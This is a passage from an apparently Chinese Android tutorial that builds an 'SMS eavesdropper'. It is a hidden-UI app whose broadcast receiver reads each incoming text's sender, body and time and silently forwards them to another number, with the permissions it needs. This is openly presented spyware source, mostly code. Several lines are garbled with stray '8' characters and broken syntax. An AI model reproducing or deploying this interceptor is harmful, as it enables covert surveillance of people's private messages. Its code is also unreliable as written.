1.2 短信窃听器
小安:那服务中的代码具体怎么实现呢?
大致:不要着急,慢慢来。下面先讲短信窃听器和电话窃听器的实现方法。
1.2.1 短信窃听器介绍
当Android系统收到短信时,系统会发出一个广播Intent,该Intent中的action的名称为android.provider.Telephony.SMS_RECEIVED,该Intent中存放了系统收到的短信的相关信息和内容,我们使用名称为“pdus”的键即可从该Intent中获取到短信的内容。根据这一原理,即可用自己开发的短信监听器监听手机的短信并进行相关处理。
1.2.2 短信窃听器的运行流程
短信窃听器运行流程如下:
- 第一步,把短信窃听器注册到Android系统;
- 第二步,当短信到来的时候,系统发出短信到来广播;
- 第三步,系统激活短信接收器,监听器对短信进行相关处理;
- 第四步,短信接收器生命周期结束;
- 第五步,重复第一步到第四步。
1.2.3 短信窃听器的实现
第一步:在Eclipse中建立一个短信窃听器工程,如下图所示。
说明:
(1)建立的工程名称为HelloSMSListener。
(2)选择的编译平台为Android 2.2。
(3)应用的名称为HelloSMSListener。
(4)程序的包名为com.wangjialin.smslistener。
(5)因为不需要界面,所以此处没有建立Activity,即Create Activity 这个复选框前面默认的对勾去掉。
(6)程序可以运行的最低版本为8。
(7)单击最下方的“Finish”选项完成工程的创建。
第二步:创建一个广播接收者,用于接收系统所发出短信到来的广播。
在建立好的工程的包名com.wangjialin.smslistener单击右键新建一个Class,如下图所示。
说明:
(1)这个广播接收者的类名为SMSReceiver。
(2)此处的广播接收者的Superclass 为android.content.BroadcastReceiver;用于继承系统广播接收器的默认实现,并达到控制代码编写者编写广播接收器的目的。
(3)单击“Finish”完成广播代码接收器的创建,其在文件夹中的位置如左图所示。
(4)具体的默认广播接收器的实现如下所示。
package com.wangjialin.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class SMSReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { } }
第三步:注册广播接收器。广播接收既可以在代码中注册又可以在配置文件中注册,因为广播接收器要独立地随时准备接收短信到来事件,所以要在配置文件中注册,打开工程的AndroidManifest.xml文件,配置内容如下所示。
<?xml version="1.0"encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"> package="com.wangjialin.smslistener" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="8"/> <application android:icon="@drawable/icon"android:label="@string/ app_name"> <receiver android:name=".SMSReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_ RECEIVED"/> <intent-filter> </receiver> </application> </manifest>
说明:
(1)“.SMSReceiver”表明短信接收器位于应用程序的包下。
(2)因为要接收系统发出的短信事件,所以需要在短信接收器的“intent-filter”属性中配置action的名称为“android.provider.Telephony.SMS_RECEIVED”。
第四步:实现短信接收器。
public class SMSReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //获取短信实体数组 Object[] pdus = (Object[]) intent.getExtras().get("pdus"); //迭代短信实体数组 for(Object pdu : pdus) //使用pdu格式的字节数组生成短信对象,以便于用短信对象取得短信的各个组成部分 SmsMessage message = SmsMessage.createFromPdu((byte[])pdu); //获得短信的发送者 String sender = message.getOriginatingAddress(); //获得短信的内容 String content = message.getMessageBody(); //获得短信的发送时间 Date date = new Date(message.getTim8estampMillis()); //发送时间的格式化模式 Sim8pleDateFormat dateFormat = new Sim8pleDateFormat("yyyy-MM-dd HH:mm:ss"); //进行日期的格式化 Sim8ple tim8e = dateFormat.format(date); //对短信进行处理 sendSMS(sender,content,tim8e); } }
说明:
“sendSMS(sender, content, tim8e)”是获取短信后对短信的具体处理。
第五步:处理收到的短信,即“sendSMS(sender, content, tim8e)”的实现代码如下所示。
private void sendSMS(String sender,String content,String tim8e){ //如果短信是号码为"5556"发送过来的,则要把短信转发到号码为"5558"的手机上 if"5556".equals(sender)){ //获取默认的短信管理器 SmsManager manager = SmsManager.getDefault(); //如果短信内容大于一条短信的最大容量,分割短信 ArrayList<String> texts = manager.divideMessage(content); //迭代发送过来的短信 for(String text:texts){ //把发送过来的短信转发到号码为"5558"的手机上 manager.sendTextMessage("5558",null,"tim8e = " + tim8e +text,null,null); } }
说明:
(1)此处使用的是模拟器测试。
(2)当短信发送者的号码是“5556”的时候,此时把短信的内容和发送时间转发到号码为“5558”的模拟器上,以完成窃听的目的。
第六步:配置短信窃听器需要的权限。
<?xml version="1.0"encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"> package="com.wangjialin.smslistener" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="8"/> <application android:icon="@drawable/icon"android:label="@string/ app_name"> <receiver android:name=".SMSReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_ RECEIVED"/> <intent-filter> </receiver> </application> <!--接收短信权限--> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <!--发送短信权限--> <uses-permission android:name="android.permission.SEND_SMS"/> </manifest>
说明:
(1) 因为需要接收短信的权限,所以需要申请“android.permission.RECEIVE_SMS”权限。
(2)因为需要发送短信的权限,所以需要申请“android.permission.SEND_SMS”权限。
第七步:安装应用到模拟器上,笔者在此处是把应用安装在“5554”这个模拟器上,如下图所示。
安装成功,如下图所示。